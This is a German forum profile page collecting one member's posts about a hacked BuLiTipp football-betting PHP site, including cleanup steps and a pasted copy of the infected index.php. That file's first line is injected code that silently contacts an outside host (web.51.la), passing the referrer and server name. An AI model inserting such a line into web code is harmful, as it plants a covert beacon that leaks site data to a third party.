ja habe ich, aber es hat ja schon mal funktioniert mit der Vorabversion von @oldie
hab mir die "users" Struktur angeschaut ist gleich....
Beiträge von Littlesteve
Ich habe einen Blog Artikel verfasst - Wie benutze ich die Suche richtig - Bitte diesen beachten und auch umsetzen bevor Ihr ein Neues Thema eröffnet!
-
-
-
@kaikiste nein wie gesagt ich habe nichts eigenes eingebaut, habe die Finale Version von @oldie gedownloadet und 1:1 auf den Webspace kopiert und den Gewinnmod "aktiviert" bzw die dafür benötigten Dateien getauscht (aber auch ein einsetzen der Original Dateien bringt keinen Erfolg...) bin echt ratlos
-
ich habe auch ein Problem und zwar zeigt es mit unter Admin - Uferverwaltung keine Mitglieder mehr a...
nur noch den Text wie viel Angemeldet sind... an was könnte das liegen?Habe die Finale Version "Jungfräulich" installiert
-
bin auch dabei
-
@Karlnapp75 du hast dich wieder mal selbst übertroffen, sieht echt klasse aus, danke für deine Mühe
Gesendet von iPhone mit Tapatalk
-
@oldie : ich würde auch dazu beitragen die Ergebnisse auf einem Server (wenn vorhanden) mit einzutragen
-
was ist denn das von @SweetNadine ...? warum schickt die mir per PN einen Link zum Download mit "PayPal" integration...? Hat das noch jemand von euch bekommen?
-
hast recht habe anscheinend irgendwas vermurkst gehabt...
also jetzt wenn ich den Turnierbaum neu generiere passt alles - sprich er bleibt leer
-
also wenn ich die Datei austausche habe ich eine weiße Seite...
nehme ich wieder die originale funktioniert alles -
-
dies ganze Geschichte scheint auch ein Alfahosting Problem zu sein.... Siehe hier: strangers.php und PHP.EVAL.CRYPT
ja habe ich mittlerweile auch schon rausgefunden aber die sagen dass wäre keine Alfahosting spezifisches Problem...
ich habe damals wie die Joomla Lücke bekannt wurde SOFORT am gleichen tag noch beide Seiten geupdatet... das komische ist das es jetzt erst "ausgebrochen" ist... -
@Karlnapp75 ok aber wie gesagt ich benutze ForkLift aus dem AppStore.
@all nochmal die Frage, wonach genau soll ich im Logfile suchen, werden daraus nicht ganz schlau habe nach strangers.php gesucht genauso wie nach php.eval.crypt - nichts gefunden
-
Sollte aber bei einem Apple Rechner durch das Sandboxing Prinzip nicht möglich sein oder...?
-
@jumpM welche Dateien auf meinem eigenen rechner? Lade eigentlich nie schon geuploadetes wieder hoch
-
@Karlnapp75 warum welche Probleme hattest du mit Forklift?
@jumpM habe jetzt alle index.*** Dateien in denen der Code vorhanden war diesen bereinigt, habe alle FTP Passwörter geändert, auf PHP 5.6 umgestellt, und alle SQL Passwörter geändert, mal schauen ob nun ruhe ist. - zumindest bis morgen, da schau i dann noch die logs durch wann noch auf welche Dateien zugegriffen wurde.Danke an euch alle schon mal für eure tatkräftige Unterstützung!
-
nein mit ForkLift, warum @Karlnapp75
-
über ftp sehe ich einen Ordner "log" @oldie meinst du den?
habe jetzt alphahosting mal dazu beauftrag php umzustellen, und habe mal alles index.php Dateien ausgetauscht.
war im em, wm im bulitipp und im bulitipp mobil überall das gleiche am Anfang drin...edit:
@oldie hab die log Dateien nach was soll ich da suchen?
-
hier ich denke mal es liegt an dem Code gleich nach <?php
@oldie wie könnte ich an die log files kommen? (Mein Hoster ist Alphahosting
PHP- <?php @file_get_contents("http://web.51.la:82/go.asp?svid=17&id=18776693&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/configbak.php");
- header('Content-Type: text/html; charset=utf-8');
- ###################################################################################################
- # Dateiname: index.php
- #
- # Letzte Änderung der Datei / Last Change of File
- # -----------------------------------------------
- # Revision: $Rev: 373 $
- # Datum / Date: $Date: 2012-09-28 03:21:10 +0200 (Fr, 28 Sep 2012) $
- # Autor / Author: $Author: soeren $
- #
- #--------------------------------------------------------------------------------------------------
- #
- # BuLiTIPP 4 - Das Bundesliga Tippspielscript
- #
- # Copyright (C) 2007-2012 Sebastian Müller, Daniel Göhring, Sören Wiechert
- #
- # This program is free software; you can redistribute it and/or modify it under the terms of the
- # GNU General Public License as published by the Free Software Foundation; either version 2 of the
- # License, or (at your option) any later version.
- #
- # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
- # even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
- # General Public License for more details.
- #
- # You should have received a copy of the GNU General Public License along with this program; if
- # not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- # 02110-1301, USA.
- #
- # http://www.xcript.de
- #
- # !!! Do not remove link or copyright-notice !!!
- #
- ###################################################################################################
- define("|","|");
- # Include-Dateien einbinden
- require_once ("include/database.inc.php");
- require_once ("include/config.inc.php");
- require_once ("include/config.toastmessage.inc.php");
- # Prüfen, ob eine database.inc.php für Entwicklungssystem existiert
- if (@file_exists('../dev-database.inc_4.php'))
- {
- require_once ("../dev-database.inc_4.php");
- }
- # Prüfen, ob eine config.inc.php für Entwicklungssystem existiert
- if (@file_exists('../dev-config_4.php'))
- {
- require_once ("../dev-config_4.php");
- }
- require_once ("include/login.inc.php");
- require_once ("include/functions.inc.php");
- // FusionCharts
- require_once ("include/FusionCharts.php");
- // XAJAX
- require_once ("include/xajax/xajax_core/xajax.inc.php");
- $CONFIG['PWDBY'] = "BuLiTipp - powered by "
- ."<a href='http://www.xcript.de'>"
- ."<span style='font-weight:bold;'>"
- ."XCRIPT.de</span></a>";
- if ((isset($_SESSION['s_status']) && $_SESSION['s_rechte']) && (isset($_POST['msubmit']) || isset($_POST['mpicsubmit_x'])))
- {
- $msql = "UPDATE ". $tbl['config'] ." SET maintenance = ". ($_POST['maintenance'] == 1 ? 1 : 0);
- mysql_query($msql);
- }
- $maintenance = 0;
- $sql = "SELECT cr, version, maintenance FROM ". $tbl['config']
- ." WHERE id = 1;";
- $query = mysql_query($sql);
- $row = mysql_fetch_row($query);
- $_SESSION['A'] = $row[0];
- $_SESSION['B'] = $row[1];
- $maintenance = $row[2];
- if ($maintenance == 0 || (isset($_SESSION['s_status']) && $_SESSION['s_rechte']))
- {
- # XAJAX-Validate einbinden, wenn Seite "x" aufegrufen wurde
- if ($_GET['site'] == "tippen" || $_GET['site'] == "admin_tippen") include_once("include/save.tips.inc.php");
- }
- # alle Usereingaben escapen
- inputSecurity();
- # URL escapen
- $_SERVER['PHP_SELF'] = inputSecurity($_SERVER['PHP_SELF']);
- # Checken, ob ein Navigationselement des Array angesprochen wurde
- if ( ! isset($_GET['site']) || ! array_key_exists($_GET['site'], $nav))
- {
- $_GET['site'] = $defaultNav;
- }
- if ($maintenance == 0 || (isset($_SESSION['s_status']) && $_SESSION['s_rechte']))
- {
- # Session beenden, wenn User sich abmelden will -> Zur Startseite springen */
- if ($_GET['site'] == "abmelden")
- {
- @session_destroy();
- $_SESSION['s_status'] = 0;
- $_GET['site'] == $defaultNav;
- header("Location: index.php?site=" . $defaultNav);
- }
- # Session-Datum "lastAction" in Datenbank speichern (nur, wenn eingeloggt)
- if (isset ($_SESSION['s_status']) && $_SESSION['s_status'])
- {
- if(isset($phpbb) && ($phpbb == 3 || $phpbb == 2))
- {
- $query = "UPDATE ".$tbl['user']
- ." SET lastaction=NOW()"
- ." WHERE user_id = '". mysql_real_escape_string($_SESSION['s_user'])
- ."' LIMIT 1";
- }
- else
- {
- $query = "UPDATE ".$tbl['user']
- ." SET lastaction=NOW()"
- ." WHERE id = '". mysql_real_escape_string($_SESSION['s_user'])
- ."' LIMIT 1";
- }
- $result = mysql_query($query);
- }
- # Besucherzähler aktualisieren
- if (isset ($_SESSION['s_status']) && $_SESSION['s_status'])
- {
- # zwischen zwei Zugriffen desselben Users müssen mindestens x Sekunden
- # (definiert in $skript['countertime']) liegen, bevor er erneut gezählt wird!
- $query = "SELECT id FROM ".$tbl['counter']
- ." WHERE u_id=".$_SESSION['s_user']
- ." AND UNIX_TIMESTAMP(datum) > ".(time() - $skript['countertime']);
- $sql = mysql_query($query);
- if(mysql_num_rows($sql) == 0)
- {
- $query2 = "INSERT INTO ". $tbl['counter'] ."(u_id, datum)"
- ." VALUES (". mysql_real_escape_string($_SESSION['s_user']) .", NULL)";
- $result = mysql_query($query2);
- }
- }
- ?>
- <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01//EN”>
- <html>
- <head>
- <title><?php echo $CONFIG['PAGE']['TITLE']; ?><?php echo (isset($RUNTIME['PATH'][0]) ? strtoupper($RUNTIME['PATH'][0]) : ""); ?></title>
- <link href="style/css/css.css" rel="stylesheet" type="text/css">
- <link href="style/css/buttons.css" rel="stylesheet" type="text/css">
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
- <meta name="description" content="<?php echo $CONFIG['PAGE']['DESCRIPTION']?>" />
- <meta name="author" content="<?php echo $CONFIG['PAGE']['AUTHOR']?>" />
- <!-- PopUp Chatfenster -->
- <script type="text/javascript">
- function openchat (url)
- {
- fenster = window.open(url, null, "width=800,height=600,status=yes,scrollbars=yes,resizable=yes");
- fenster.focus();
- }
- </script>
- <script type="text/javascript" src="style/js/functions.js"></script>
- <!-- calendar stylesheet -->
- <link rel="stylesheet" type="text/css" media="all" href="include/jscalendar/calendar-blue.css" title="win2k-cold-1" />
- <!-- main calendar program -->
- <script type="text/javascript" src="include/jscalendar/calendar.js"></script>
- <!-- language for the calendar -->
- <script type="text/javascript" src="include/jscalendar/lang/calendar-en.js"></script>
- <!-- the following script defines the Calendar.setup helper function, which makes adding a calendar a matter of 1 or 2 lines of code. -->
- <script type="text/javascript" src="include/jscalendar/calendar-setup.js"></script>
- <?php
- // XAJAX einbinden
- if (in_array($_GET['site'], array("tippen","admin_tippen")))
- {
- $xajax->printJavascript('include/xajax/');
- ?>
- <script type="text/javascript">
- // Ajax-Speicherung der Tipps
- function saveTipps(id, userid)
- {
- xajax_save_tips
- (
- xajax.getFormValues('tippen', true, 'tipp_heim['+ id +']'),
- xajax.getFormValues('tippen', true, 'tipp_gast['+ id +']'),
- 'tipp_check['+ id +']', 'tipp_gast['+ id +']', id, userid
- );
- }
- </script>
-
Ah ja danke